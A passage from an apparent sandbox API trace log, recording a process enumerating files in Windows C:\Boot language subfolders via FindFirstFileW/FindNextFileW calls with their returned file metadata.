ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0052.909] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0052.909] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0052.909] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0052.909] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0052.909] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0052.910] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.910] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0052.910] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.910] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0052.911] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.911] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.911] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.911] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0052.911] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.911] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0052.911] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.911] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260440 [0052.911] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.911] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.911] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.911] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.911] FindClose (in: hFindFile=0x4260440 | out: hFindFile=0x4260440) returned 1 [0052.911] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.911] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0052.911] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.911] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260380 [0052.912] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.912] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.912] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.912] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) returned 1 [0052.912] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.912] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0052.912] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.912] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607c0 [0052.913] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.913] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.913] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.913] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.913] FindClose (in: hFindFile=0x42607c0 | out: hFindFile=0x42607c0) returned 1 [0052.913] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.913] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0052.913] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4271060 [0052.913] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0052.914] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.914] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.914] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.914] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.914] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0052.917] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.917] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0052.917] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260180 [0052.918] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.918] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.918] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.918] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.918] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0052.918] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.918] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0052.918] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607c0 [0052.919] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.919] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.919] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 